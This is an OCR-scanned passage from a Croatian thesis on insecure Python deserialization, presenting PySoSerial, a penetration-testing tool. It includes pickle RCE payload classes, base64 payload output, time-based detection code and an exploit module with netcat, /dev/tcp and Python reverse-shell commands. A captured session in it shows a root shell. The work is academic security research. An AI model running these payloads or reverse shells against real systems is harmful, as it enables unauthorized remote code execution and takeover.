Contents of variable after unpickling payload based on os.system: @
Contents of variable after unpickling payload based on subprocess.check_output: b'root\n’

Slika 3.9: Povratna vrijednost deserijalizacije razli¢itih payloada

Unutar Pickle modula postoji viSe razliCitih protokola koji se mogu Koristiti za seri-
jalizaciju. Za Citanje objekata kreiranih novijim verzijama Pickle protokola potrebna
je 1 novija verzija Pythona. Radi potpunosti, alat prilikom kreiranja malicioznih obje-
kata korisniku ispisuje objekte kreirane sa svim dostupnim Pickle protokolima. Kre-

iranje opisanih malicioznih tereta moze se vidjeti u isjecku 3.4. U isjeCku se mogu
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vijdeti dvije klase koje su koriStene za kreiranje dva tipa razliCita tipa malicioznih

objekata. Klasa os_rce_payloadimplementira ___reduce___ metodu koja koristi

os . system funkciju da bi izvrsila proizvoljni kod, dok klasa subprocess_rce_payload

u istu svrhu koristi funkciju check_output. Nadalje, u for petlji prikazanoj u is-
jecku 3.4 moze se vidjeti proces serijalizacije instanci prethodno opisanih klasa raz-
li¢itim Pickle protokolima. Alat analogno kreira maliciozne objekte i za biblioteku
PyYaml.

Ispis 3.4: Dio PySoSerial-a odgovoran za kreiranje malicioznih objekata

<SNIP>
# relying on os module

class os_rce_payload():

def _ init_ (self, command) :
self.command = command
def __ _reduce__ (self):

import os

return os.system, (self.command,)

# relying on subprocess module
class subprocess_rce_payload() :
def _ init_ (self, command) :
self.command = str (command)
def _ reduce__ (self):
import subprocess
return (subprocess.check_output, (('/bin/sh','-c',

— self.command), 0))

<SNIP>
payloads_list = []
if g_args.lib == 'pickle' or g_args.lib == 'all' or g_args.lib ==
— None:
for prot_num in range (pickle.HIGHEST_PROTOCOL + 1):
# os

payload = pickle.dumps (os_rce_payload(cmd),

— protocol=prot_num)

payloads_list.append (base64.b6dencode (payload) \
.decode ("utf-8"))

#subprocess

payload = pickle.dumps (subprocess_rce_payload(cmd),

— protocol=prot_num)

payloads_list.append (base64.b6dencode (payload) \
.decode ("utf-8"))
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Na slici 3.10 mozZe se vidjeti primjer koriStenja generate—-payload modula za

kreiranje malicioznih objekata koji prilikom deserijalizacije izvrSavaju naredbu whoami.

B ./pysoserial.py generate-payload --cmd "whoami" --1lib all

PYSOSERIAL

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

[+] Using generate-payload module
[+] Generating payloads ...

+] Pickle payloads(protocols

[ INFO ] [+] Payloads relying on os.system():
[+] Baseb4 encoded payload #9: Y3Bvc2l4CnNSc3RLbQpwMAooVndob2FtaQpwMQpecDIKUNAZCL
[+] Base64 encoded payload #1: Y3Bvc2l4CnNSc3RLbQpXAChYBgAAAHdob2FtaXEBAHECUNED,
[+] Baseb4 encoded payload #2: gAJjc69zaXgKc31zdGVtCnEAWAYAAAB3aGIhbIWLXAYVXATIXAY:
[+] Baseé4 encoded payload #3: gANjc69zaXgKc31zdGVtCnEAWAYAAAB3aGIhbWLXAYVXALIXAY4=
[+] Base64 encoded payload #4: gASVIQAAAAAAAACMBXBvc2L41IWGc31zd6Vt1JOUAZ3a69hbNmUNZRSLC4=
[+] Baseé4 encoded payload #5: gAWVIQAAAAAAAACMBXBvC2141InGe312d6Vt1J0UIAZ3aGohbWnUNZRS1CA=

[ INFO ] [+] Payloads relying on subprocess.check_output() and /bin/sh:
[+] Base64 encoded payload #0: Y2NvbWlhbmRzCmNoZWNrX291dHB1dApwMAOOKFYvYmLuL3NoCnAXCLYtYwpwMgpWd2hvYW1pCnAzCnRWNAPJMAPOCDUKUNAZC
[+] Baseé4 encoded payload #1: Y2NvbWlhbmRzCmNoZWNrX291dHB1dApXACGOWACAAAAVYMLUL3NOCQFYAGAAACT cQJYBgAAAHdOb2F taXEDHEESWBOCQVSCQYY
[+] Base64 encoded payload #2: gAJ3Y29tbWFUZHMKY2h1Y2tFb3VBCHVOCNEAWACAAAAVYMLUL3NOCQFYAGAAACL cQJYBgAAAHdOb2F taXEDh3EESWCECQVSCQYY
[+] Baseb4 encoded payload #3: gANjc3VicHJvY2VzcwpjaGVjal9vdXRwdXQKcQBYBWAAAC9iaWavc2hxAVGCAAAALWNXALGGAAAA2hVYW1pCQOHCQRLATZXBYXB
[+] Base64 encoded payload #4: gASVPWAAAAAAAACHMCNN1YnByb2N1c30UjAxjaGVjal9vdXRwdXSUKSSMBy9iall4vc2iUjATtYSSHBndob2F taZSHLESARPRSLC
[+] Baseé4 encoded payload #5: gAWVPWAAAAAAAACMCNN1YnByb2N1c30UjAxja6Vjal9vdXRwdXSUKSSMBY9iaWsvc2iUATtYSSMBndob2F taZSHLESARPRST

[ INFO ] [+] Payloads relying on os.system():
[+] Base64 encoded payload: ISFweXRob24vb2JqZWNOL2FwcGx50nBvc214LnNSc3RIbQotIHdob2FtaQo=

[ INFO ] [+] Payload relying on subprocess.check_output() and /bin/sh :
[+] Base64 encoded payload: ISFweXRob24vb2JqZWNBL2FwcGXSONN1YNByb2N1c3MuY2h1Y2tfb3VOcHVOCiOgISFweXRob24vdHVWGUKICALICTiaWve2gKICAtIC1FCiAgLSB3aGIhbIKKLSANC==

Slika 3.10: Primjer koristenja generate_payload modula

3.2.3. Modul confirm-vuln

Modul confirm-vuln sluZi za provjeru ranjivosti testirane aplikacije. Osnovna za-
misao je ranjivoj aplikaciji slati maliciozne objekte koji prilikom deserijalizacije izvr-
Savaju funkciju sleep koja zaustavlja izvrSavanje trenutne dretve (engl. thread) na
specificiran broj sekundi. Ako je aplikacija ranjiva, to ¢e biti vidljivo kroz primjetno
povecanje vremena potrebnog za dolazak HTTP odgovora. Sazeti pregled svih opcija

ovoga modula vidi se na 3.11.
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+ ./pysoserial.py confirm-vuln --help

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

usage: pysoserial.py confirm-vuln [-h] -r REQUEST [-p PROXY] [-m MARKER] [--lib {pickle,pyyaml,all}] [--http] [-d DELAY]

. show this help message and exit
r REQUEST, --request REQUEST
Path to a file containing HTTP request in format used in Burp
-p PROXY, --proxy PROXY
Use HTTP/HTTPS proxy when issuing requests to confirm vulnerability
-m MARKER, --marker MARKER
Custom marker for injection point in request file. By default the marker is 'inject_here'
--1ib {pickle,pyyaml,all}
Use tool for specific serialization library: [picle, pyyaml, all]
--http Send requests over http
-d DELAY, --delay DELAY
Delay in seconds between requests

Slika 3.11: Popis opcija dostupnih prilikom koristenja conf i rm-vuln modula

Alatu se sa ——request opcijom predaje putanja do tekst datoteke koja sadrzi HTTP
zahtjev u formatu u kojemu se koristi u programu Burp. Dovoljno je HTTP zahtjev
kopirati iz Burp programa u tekstualnu datoteku i predati PySoSerial programu. PySo-
Serial ¢e takav HTTP zahtjev parsirati i pretvoriti u oblik prikladan manipulaciju za
Pythonovom Requests bibliotekom. Unutar HTTP zahtjeva potrebno je postaviti
znakovni niz "inject_here" na mjesto na koje ¢e alat umetnuti stvorene objekte
koji prilikom deserijalizacije izvrSavaju pauzu odnosno sleep. Primjer jednog takvog
HTTP zahtjeva dostupan je u isjecku 3.5. Alatu je moguce predati proizvoljnu oznaku
za mjesto umetanja koju se moze specificirati opcijom —-marker. Prije stvaranja
opisanih objekata alat ¢e izraCunati prosjecno vrijeme odaziva (engl. Round trip time)
temeljem nekoliko zahtjeva i prilagoditi vrijeme pauze koja Ce se izvrSiti prilikom dese-
rijalizacije malicioznih objekata. Na taj nacin, alat smanjuje broj neispravnih detekcija
ranjivosti u slu€aju mreZnih smetnji ili sporije internetske veze. PySoSerial zatim Sa-
lje takve modificirane HTTP zahtjeve te mjeri vrijeme odgovora. Takoder, kako bi se
olakSalo naknadno pregledavanje 1 modifikacija poslanih zahtjeva, opcijom ——proxy
moguce je alatu navesti da koristi HTTP posrednik (engl. proxy). Ova opcija uvedena
je prvenstveno zbog kompatibilnosti sa Burpom, da bi se svi zahtjevi mogli preus-
mjeriti kroz Burp koji je u sustini posrednik na lokalnom racunalu. Kao i kod drugih
modula opcijom —-1ib alatu se navodi treba li kreirati objekte namijenjene iskori-
Stavanju nesigurne deserijalizacije za Pickle ili YAML. Opcijom —-delay moZe se
navesti broj sekundi izmedu svakog poslanog zahtjeva za slucaj da testirana aplikacija

koristi neku vrstu ogranicavanja prometa (engl. rate limiting).
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Ispis 3.5: Primjer HTTP zahtjeva u formatu u kojemu se koriste u alatu Burp Suite.

POST /search HTTP/1.1

Host: 127.0.0.1:1337

Content-Length: 95

Cache-Control: max—age=0

Upgrade—-Insecure-Requests: 1

Origin: http://127.0.0.1:1337

Content-Type: application/x-www-form-urlencoded

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

— AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78
— Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;g=0.9,
— 1image/avif, image/webp, image/apng, *x/*;

— g=0.8,application/signedexchange;v=b3;g=0.7

Referer: http://127.0.0.1:1337/search

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;g=0.9

Cookie:

— csrftoken=uUitGgBpBRJIf6IwWUI7KLUjUwpd54unQE4DG91bknhvg7h8BZp32£6Q130M9%hUaud;
— search_cookie="inject_here"

Connection: close

csrfmiddlewaretoken=
—  Z9Pi9DUmtdnpPCMgGGOVWRKxOxC4B2ZrzSdYOyDk9RUh02R1InNCip80oR4p6Gh1PDO
— &query=test

U isjecku 3.6 se moZe vidjeti dio koda koji je zasluZan za parsiranje HTTP zah-
tjeva iz formata u kojemu se koristi alatu Burp Suite u oblik pogodniji za interakciju s
Pythonovom Request s bibliotekom. Alat iz prve linije tako strukturiranog zahtjeva
iS¢itava koristenu HTTP metodu te na temelju vrijednosti Host zaglavlja i navedene
krajnje tocke (engl. endpoint) kreira URL. Zatim ostatak zahtjeva podijeli u dva dijela.

Rjecnik koji sadrzi imena i vrijednosti koriStenih HTTP zaglavlja te tijelo zahtjeva.

Ispis 3.6: Parsiranje HTTP zahtjeva i umetanje Pickle objekata

def parse_request_and_insert_payload(req_lines, payload=None,
— custom_marker=None, http=False):
<SNIP>

first_line = lines.pop(0)
method = first_line.split () [0].strip()
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endpoint = first_line.split () [1l].strip()

for idx, line in enumerate(lines) :

if line.startswith('\n'):
data = "".join(lines[idx + 1:7)
break

else:
# split only by first occurance to save the port(e.g
— Host: 127.0.0.1:1337)
header_name = line.split(':', 1)[0].strip()
header_value = line.split(':', 1)[1l].strip()
headers.update ({header_name: header_value})

if line.startswith ("Host:"):

host = header_value
if http:
url = "http://" + host + endpoint
else:
url = "https://" + host + endpoint

return method, url, headers, data

Zanimljivo je da se serijalizacijom objekata koji koriste os.system () funkciju
dobivaju razliciti izlazi na Windows i Linux operacijskom sustavu. Dobiveni Pickle
objekti su razliCiti zbog toga Sto se serijalizacija same os.system funkcije razli-
kuje na razli¢itim operacijskim sustavima. Naime, da bi ispravno serijalizirano ovakve
objekte, Pickle zapisuje u kojem modulu se ona nalazi kako bi ju prilikom deserija-
lizacije probao uvesti, a poziv os.system.__module__ vraca drugaciji rezultat

ovisno o operacijskom sustavu kao $to se vidi u isjecku 3.7.

Ispis 3.7: Serijalizacija os . system funkcije na Windows i Linux operacijskom sustavu.

>>> pickle.dumps ((os.system, ('whoami',)))
b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix
o \x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94\x86\x94."

>>> os.system.__module_

'posix’

# - windows —-—————————————-

>>> pickle.dumps ((os.system, ('whoami',)))
b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt

< \x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94\x86\x94.
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>>> os.system.___module_

'nt !

PySoSerial tu Cinjenicu koristi da bi detektirao je li testirana aplikacija pokrenuta na
Windows ili Linux operacijskom sustavu. Pored objekata koji koriste Pythonovu sleep
funkciju, alat kreira objekte koji pokuSavaju izvrSiti sistemski sleep, a s obzirom na to
da su takvi objekti razliciti na razliitim operacijskim sustavima lako je ustanoviti na
kojem operacijskom sustavu je pokrenuta ranjiva aplikacija. U isjeCku koda 3.8 moZe
se vidjeti skraceni dio funkcije odgovorne za detekciju ranjivosti mjerenjem vremena
odziva web aplikacije. Alat prvo mjeri prosje¢no vrijeme odaziva aplikacije metodom
measure_avg_rtt te prilagodava vrijeme pauze. Zatim parsira predani HTTP zah-
tjev i na odgovarajuce mjesto ubacuje maliciozni objekt koji izvrSava pauzu. Potom
alat posalje tako kreirane HTTP zahtjeve te mjeri vrijeme odaziva kako bi potencijalno

identificirao ranjivost.

Ispis 3.8: Detekcija ranjivosti u confirm—vuln modulu

avg_rtt = measure_avg_rtt (req_lines=request, http=g_args.http)
<SNIP>
payloads_list.append(baset6d.bbdencode (
— pickle.dumps (pysleep_payload(sleep_time))) .decode ("utf-8"))
<SNIP>
for payload in payloads_list:

(method, url, headers, data) =

— parse_request_and_insert_payload(req _lines=request,

— payload=payload, custom_marker=g_args.marker,

— http=g_args.http)

req = Request (method=method, url=url, headers=headers,

— data=data)

prepared_req = req.prepare ()

<SNIP>
if response.elapsed.total_seconds () > sleep_time:
print_info (" [+] Tested web application is vulnerable!!!",

— greentext=True)
print_info (f"[+] Payload causing sleep {sleep_time}:
[N {payload}")
if payload in utils.win_sleepb_prepickled:
print_info (" [+] The tested web application seems to be
— running on Windows.")
print_info("[+] To use exploit functionality run
— pysoserial on windows.")

return
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Slika 3.12 prikazuje primjer koriStenja confirm-vuln modula u kojemu je alat

detektirao ranjivu aplikaciju te ispisao sadrZaj base64 kodiranog objekta koji je prili-

kom deserijalizacije uspjeSno izvrsio sleep.

Tool for identification and exploitation of insecure deserialization vulnerabilities in python

Using confirm-vuln module

Using request file: ./reg.txt
Measuring RTT...

Average RTT is: 6.1967 seconds.
Testing ...

[ INFO ] [+] Tested web application is vulnerahle!!!
[ INFO ] [+] Payload causing sleep 5: gASVGAAAAAAAAACMBHRpbWWUjAVzbGVLlcJSTLESFhZRS1C4=

Slika 3.12: Primjer koriStenja confirm—vuln modula.

3.2.4. Modul exploit

Modul exploit sluzi za automatizirano iskoriStavanje ranjivosti nesigurne deserija-

lizacije. Sazeti prikaz dostupnih opcija vidljiv je na slici 3.13.

» ./pysoserial.py exploit --help

FYS0SERIAL.

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

usage: pysoserial.py exploit [-h] -r REQUEST [-p PROXY] [-m MARKER] [--lib {pickle,pyyaml,all}] [--http] [--revshell] [--cmd CMD] [-d DELAY]

options:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to a file containing HTTP request in format used in Burp
-p PROXY, --proxy PROXY
Use HTTP/HTTPS proxy when issuing request to expleit vulnerability
-m MARKER, --marker MARKER
Custom marker for injection point in request file. By default the marker is 'inject_here"'
--1ib {pickle,pyyanml,all}
Use tool for specific serialization library: [picle, pyyaml, all]
--http Send requests over http.
--revshell Try a bunch of reverse shell payloads
--cmd CMD Provide command you want to execute
-d DELAY, --delay DELAY
Delay in seconds hetween requests

Slika 3.13: Popis opcija dostupnih prilikom koriStenja exploit modula

Ovaj modul radi na sli¢cnom principu kao confirm-vuln modul. Modulu se tako-

der predaje HTTP zahtjev u tekstualnoj datoteci 1 navodi mjesto ubacivanja malicioznih
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objekata. Alat prvo kreira maliciozne objekte koji prilikom deserijalizacije izvrSavanju
naredbu koja se alatu navodi sa ——cmd opcijom. Za kreiranje takvih objekata koristi
se principima opisanim u 2.1.1. Alat zatim na zadano mjesto ubacuje kreirane malici-
ozne objekte te Salje tako formirane HTTP zahtjeve na ranjivu aplikaciju. Osim slanja
objekata koji izvrSavaju proizvoljnu naredbu alat nudi i automatizaciju uspostavljanja
povratne veze (engl. reverse shell) opcijom ——revshell. Reverse shell je tehnika
koja se koristi u podru¢ju racunalne sigurnosti, posebno tijekom penetracijskog tes-
tiranja. Zamisao je da kompromitirani sustav uspostavlja povratnu vezu s racunalom
napadaca §to napadacu omogucuje udaljeno izvr§avanje naredbi, odnosno kontrolu nad
kompromitiranim sustavom. U ispisu 3.9 moze se vidjeti skraceni dio koda odgovo-
ran za slanje malicioznih objekata koji pokuSavaju uspostaviti povratnu vezu. Lista
reverse_shells sadrZi naredbe Cijim izvrSavanjem se moZe uspostaviti povratna
veza. Alat prvo iterira po toj listi te za svaku naredbu na odgovarajuce mjesto ubacuje
IP adresu napadacevog racunala i specificirani port. Program za svaku tako dobivenu
naredbu kreira maliciozni objekt koji prilikom deserijalizacije uzrokuje njeno izvrSa-
vanje. Nakon toga program ubacuje objekt na specificirano mjesto u predanom HTTP

zahtjevu i Salje na ranjivu aplikaciju.

Ispis 3.9: Dio exploit modula koji kreira maliciozne objekte za uspostavljanje povratne

veze

reverse_shells = [

"nc -e /bin/sh ip_placeholder port_placeholder",

"nc -e /bin/bash ip_placeholder port_placeholder",

"nc —-c bash ip_placeholder port_placeholder",

"bash -i >& /dev/tcp/ip_placeholder/port_placeholder 0>&1",
"/bin/bash -1 > /dev/tcp/ip_placeholder/port_placeholder 0<&1 2>&1",
"sh -1 >& /dev/udp/ip_placeholder/port_placeholder 0>&1"

"oython -c 'import

— socket, subprocess, os; s=socket.socket (socket .AF_INET, socket.SOCK_STREAM) ;
— s.connect ((\"ip_placeholder\",port_placeholder));os.dup2(s.fileno(),0);

— os.dup2(s.fileno(),1);
— os.dup2(s.fileno(),2);p=subprocess.call ([\"/bin/sh\", \"=i\"]);""

if g_args.revshell:
revshell_ip = input (" [+] Enter listener ip (LHOST): ")
revshell_port = input (" [+] Enter listener port (LPORT): ")

print ("[+] Trying out reverse shell payloads ...")
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for rs_index, rs_cmd in enumerate (utils.reverse_shells):
rs_cmd = rs_cmd.replace("ip_placeholder",
— revshell_ip) .replace("port_placeholder",
— revshell_ port) .strip()
payloads_list = generate_payload_silent (rs_cmd)

print (f"[+] Sending reverse shell payload #{rs_index}... ")

for num, payload in enumerate (payloads_list):
(method, url, headers, data) =
— parse_request_and_insert_payload(req_lines=request,
— payload=payload, custom_marker=g_args.marker,
— http=g_args.http)
req = Request (method=method, url=url, headers=headers,
— data=data)
prepared_req = reqg.prepare()
response = requests.Session () .send(prepared_req,

— Pproxies=proxy_servers, verify=False)

Slika 3.14 prikazuje primjer koriStenja exploit modula za iskoriStavanje ranjive
aplikacije 1 uspostavljanje povratne veze. Na slici se moZe vidjeti da je poslan HTTP
zahtjev koji je uzrokovao da ranjiva aplikacija uspostavi povratnu vezu na napadacevo

racunalo ¢ime mu efektivno omoguduje udaljeni pristup.

= ./pysoserial.py exploit --revshell --request ./req.txt --proxy http://127.0.0.1:8080 --http

DSERIAL

[+] Tool for identification and exploitation of insecure deserialization vulnerabilities in python

Using exploit module
Using request file: ./req.txt

Trying reverse shell payloads:

Enter listener ip (LHOST): 18.9.9.96
Enter listener port (LPORT): 1337
Trying out reverse shell payloads ...
sending reverse shell payload #0...

+ rlwrap nc -lvnp 1337
ng on [any] 1337 .
connect to [10.9.9.96] from (UNKNOWN) [10.10.185.91] 42068
whoami
root

Slika 3.14: Primjer koristenja exploit modula za uspostavljanje povratne veze.
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4. Zakljucak

Prilikom razvoja web aplikacija vrlo je lako slucajno unijeti greSke u kod koje uz-
rokuju sigurnosne ranjivosti. Dovoljne su male pogreske ili previdi u kodu koji mogu
dovesti do ozbiljnih ranjivosti i na kraju imati katastrofalne posljedice. Jedna od takvih
ranjivosti u kontekstu web aplikacija je 1 ranjivost nesigurne deserijalizacije. Do nesi-
gurne deserijalizacije dolazi kada aplikacija deserijalizira podatke koji su pod korisni-
kovom kontrolom, odnosno nepouzdane podatke. Tada proces deserijalizacije postaje
podloZan zloupotrebama. Posljedice nesigurne deserijalizacije mogu biti iznimno o0z-
biljne. IskoriStavanjem ove ranjivosti napadac¢i mogu ostvariti udaljeno izvrSavanje
koda (engl. remote code execution, RCE) §to im posljedicno omogucuje neovlasten
pristup, kontrolu nad aplikacijom i1 njenim resursima te pristup samom aplikacijskom
posluzitelju. Uzrok ranjivosti nesigurne deserijalizacije ne leZi u samim bibliotekama
za serijalizaciju, nego u njihovom neispravnom koriStenju. Ovim radom pokazano
je da je od izrazite vaZnosti da razvojni inZenjeri web aplikacija dobro razumiju pro-
cese deserijalizacije u programskom jeziku odnosno biblioteci koju koriste. Bitno je
poznavati mogucénosti koriStenih biblioteka za serijalizaciju te ih koristiti u skladu s
preporukama i dobrim praksama.

Takoder, pokazuje se da su penetracijska testiranja vrlo dobar pristup za prona-
lazak ranjivosti nesigurne deserijalizacije. UnatoC¢ tome, vazno je uzeti u obzir da
zbog kompleksnosti danasnjih aplikacija to nije nimalo jednostavan zadatak. U tom
smislu ovaj rad ukazuje na vaZnost razvijanja alata koji mogu pomod¢i sigurnosnim
struCnjacima u pronalasku ovih ranjivosti prilikom penetracijskih testova. U sklopu
ovoga rada razvijeni su alati koji automatiziraju postupke detekcije i iskoriStavanja ne-
sigurne deserijalizacije u programskom jeziku Python. Pokazalo se da razvijeni alati
provode dovoljno pouzdanu detekciju i iskoriStavanje nesigurne deserijalizacije Cime

mogu znacajno utjecati na povecanje ucinkovitosti penetracijskih testova.
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Izrada dodatka za alat BurpSuite za detekciju nesigurnih deserijalizacija

objekata

Sazetak

Internet je revolucionarizirao nacin na koji se povezujemo, komuniciramo i poslu-
jemo u danaSnjem digitalnom dobu. U srediStu te medusobne povezanosti nalaze se
web aplikacije, koje su postale sastavni dio nase svakodnevice. Medutim, sve veca
ovisnost o web aplikacijama donosi i znacajne sigurnosne izazove. Zbog raznih gre-
Saka 1 manjkavosti u implementaciji, dizajnu, upotrebi ili upravljanju web aplikacijama
dolazi do ranjivosti. Posljedice sigurnosnih propusta mogu biti razorne, rezultiraju¢i
financijskim gubicima, naruSenim ugledom i povjerenjem korisnika. Stoga je klju¢no
razvijati i odrZavati sigurne web aplikacije kako bi se zastitili od potencijalnih prijetnji.
Da bi se osigurala adekvatna zasStita web aplikacija, neophodno je razumjeti greske 1
sigurnosne propuste koji mogu nastati prilikom njihovog razvoja, prepoznati ranjivosti
koje one mogu izazvati te poznavati odgovarajuce napade i nauciti kako se zastititi
od njih. U tom smislu penetracijsko testiranje web aplikacija postaje vazna praksa u
podrucju kiberneticke sigurnosti. Radi se o sistematiénom i kontroliranom pristupu
procjeni sigurnosti sustava, mreZa ili aplikacija. Ukljucuje simulaciju stvarnih napada
kako bi se otkrile ranjivosti, slabosti i potencijalne ulazne tocke koje bi mogle biti isko-
riStene od strane zlonamjernih napadaca. U ovom radu istraZzene su ranjivosti nesigurne
deserijalizacije te je stavljen fokus na njihov utjecaj na web aplikacije. Prikazane su
smjernice 1 navedene dobre prakse kojih se razvojni inZenjeri web aplikacija trebaju
pridrzavati kako ne bi uveli sigurnosne propuste vezane za deserijalizaciju u razvijane
aplikacije. Istrazene su metode i tehnike detekcije i iskoriStavanja ranjivosti nesigurne
deserijalizacije koje se mogu upotrijebiti prilikom penetracijskog testa. Takoder pred-
stavljena su dva programska rjeSenja za automatizaciju tih procesa. Prvo razvijeno
programsko rjeSenje je dodatak za alat BurpSuite koji sluZi za automatsku detekciju
serijaliziranih Python Pickle objekata u HTTP zahtjevima. Drugi predstavljeni alat je
alat naredbenog retka koji sluzi za automatizaciju procesa identifikacije i iskoriStavanja

ranjivosti nesigurne deserijalizacije u Python aplikacijama.

Kljucne rijeci: nesigurna deserijalizacija, kiberneticka sigurnost, penetracijsko testi-

ranje, ranjivosti web aplikacija



Implementation of a plugin for BurpSuite tool for detecting insecure

deserialization vulnerabilities

Abstract

The internet has revolutionized the way we connect, communicate, and conduct
business in today’s digital age. It serves as a vast network of interconnected devices,
enabling seamless exchange of information and services. At the heart of this intercon-
nectedness are web applications, which have become an integral part of our daily lives.
However, the growing reliance on web applications also brings significant security
challenges. Due to various errors in their implementation, design, usage, or manage-
ment, web applications become susceptible to vulnerabilities. The consequences of
security flaws can be devastating, resulting in financial losses, damaged reputation,
and loss of user trust. Therefore, it is crucial to develop and maintain secure web ap-
plications to protect against potential threats. To ensure adequate protection of web
applications, it is necessary to understand the errors that may arise during their deve-
lopment, identify the vulnerabilities they can cause, and recognize appropriate attacks
while learning how to defend against them. In this regard, penetration testing of web
applications becomes an important practice in the field of cybersecurity. It involves
a systematic and controlled approach to assessing the security of systems, networks,
or applications. It includes simulating real-world attacks to discover vulnerabilities,
weaknesses, and potential entry points that could be exploited by malicious attackers.
This paper explores the vulnerabilities of insecure deserialization with a focus on their
impact on web applications. Guidelines and best practices are provided for web ap-
plication developers to avoid introducing deserialization-related security flaws in their
applications. Various methods and techniques for detecting and exploiting insecure
deserialization vulnerabilities that can be utilized during penetration testing are explo-
red. Additionally, two software solutions for automating these processes are presented.
The first developed program is a Burp Suite extension that enables automatic detection
of serialized Python Pickle objects in HTTP requests. The second developed tool is
a command-line utility that automates the identification and exploitation of insecure

deserialization vulnerabilities in Python applications.

Keywords: insecure deserialization, cybersecurity, penetration testing, web applica-

tion vulnerabilities
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